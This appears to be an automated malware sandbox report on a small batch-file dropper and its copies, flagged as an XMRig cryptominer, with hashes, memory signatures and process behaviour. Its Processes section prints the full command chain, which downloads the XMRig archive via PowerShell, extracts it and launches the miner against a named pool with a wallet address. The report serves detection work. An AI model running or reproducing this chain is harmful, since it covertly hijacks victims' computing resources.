Overview
overview
10Static
static
1tesy - Copy (10).bat
windows10-1703-x64
10tesy - Copy (11).bat
windows10-1703-x64
10tesy - Copy (12).bat
windows10-1703-x64
10tesy - Copy (13).bat
windows10-1703-x64
10tesy - Copy (14).bat
windows10-1703-x64
10tesy - Copy (2).bat
windows10-1703-x64
10tesy - Copy (3).bat
windows10-1703-x64
10tesy - Copy (4).bat
windows10-1703-x64
10tesy - Copy (5).bat
windows10-1703-x64
10tesy - Copy (6).bat
windows10-1703-x64
10tesy - Copy (7).bat
windows10-1703-x64
10tesy - Copy (8).bat
windows10-1703-x64
10tesy - Copy (9).bat
windows10-1703-x64
10tesy - Copy.bat
windows10-1703-x64
10tesy.bat
windows10-1703-x64
10Analysis
-
max time kernel
1791s -
max time network
1788s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system -
submitted
26-12-2023 09:06
Static task
static1
Behavioral task
behavioral1
Sample
tesy - Copy (10).bat
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
tesy - Copy (11).bat
Resource
win10-20231215-en
Behavioral task
behavioral3
Sample
tesy - Copy (12).bat
Resource
win10-20231215-en
Behavioral task
behavioral4
Sample
tesy - Copy (13).bat
Resource
win10-20231215-en
Behavioral task
behavioral5
Sample
tesy - Copy (14).bat
Resource
win10-20231215-en
Behavioral task
behavioral6
Sample
tesy - Copy (2).bat
Resource
win10-20231215-en
Behavioral task
behavioral7
Sample
tesy - Copy (3).bat
Resource
win10-20231220-en
Behavioral task
behavioral8
Sample
tesy - Copy (4).bat
Resource
win10-20231215-en
Behavioral task
behavioral9
Sample
tesy - Copy (5).bat
Resource
win10-20231215-en
Behavioral task
behavioral10
Sample
tesy - Copy (6).bat
Resource
win10-20231215-en
Behavioral task
behavioral11
Sample
tesy - Copy (7).bat
Resource
win10-20231215-en
Behavioral task
behavioral12
Sample
tesy - Copy (8).bat
Resource
win10-20231215-en
Behavioral task
behavioral13
Sample
tesy - Copy (9).bat
Resource
win10-20231215-en
Behavioral task
behavioral14
Sample
tesy - Copy.bat
Resource
win10-20231215-en
General
-
Target
tesy.bat
-
Size
608B
-
MD5
727c8da0478af118c957ae60f7161cab
-
SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
-
SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
-
SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
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XMRig Miner payload 63 IoCs
resource yara_rule behavioral15/memory/5112-122-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-123-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-126-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-127-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-130-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-131-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-132-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-133-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-134-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-135-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-136-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-137-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-138-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-139-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-140-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-141-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-142-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-143-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-144-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-145-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-146-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-147-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-148-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-149-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-150-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-151-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-152-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-153-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-154-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-155-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-156-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-157-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-158-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-159-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-160-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-161-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-162-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-163-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-164-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-165-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-166-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-167-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-168-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-169-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-170-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-171-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-172-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-173-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-174-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-175-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-176-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-177-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-178-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-179-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-180-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-181-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-182-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-183-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-184-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-185-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-186-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-187-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig behavioral15/memory/5112-188-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 5044 powershell.exe 5 5044 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 5112 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 5044 powershell.exe 5044 powershell.exe 5044 powershell.exe 1080 powershell.exe 1080 powershell.exe 1080 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 5044 powershell.exe Token: SeDebugPrivilege 1080 powershell.exe Token: SeLockMemoryPrivilege 5112 xmrig.exe Token: SeLockMemoryPrivilege 5112 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5112 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4488 wrote to memory of 5044 4488 cmd.exe 15 PID 4488 wrote to memory of 5044 4488 cmd.exe 15 PID 4488 wrote to memory of 1080 4488 cmd.exe 76 PID 4488 wrote to memory of 1080 4488 cmd.exe 76 PID 4488 wrote to memory of 5112 4488 cmd.exe 77 PID 4488 wrote to memory of 5112 4488 cmd.exe 77
Processes
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5044
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4488 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1080
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C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5112
-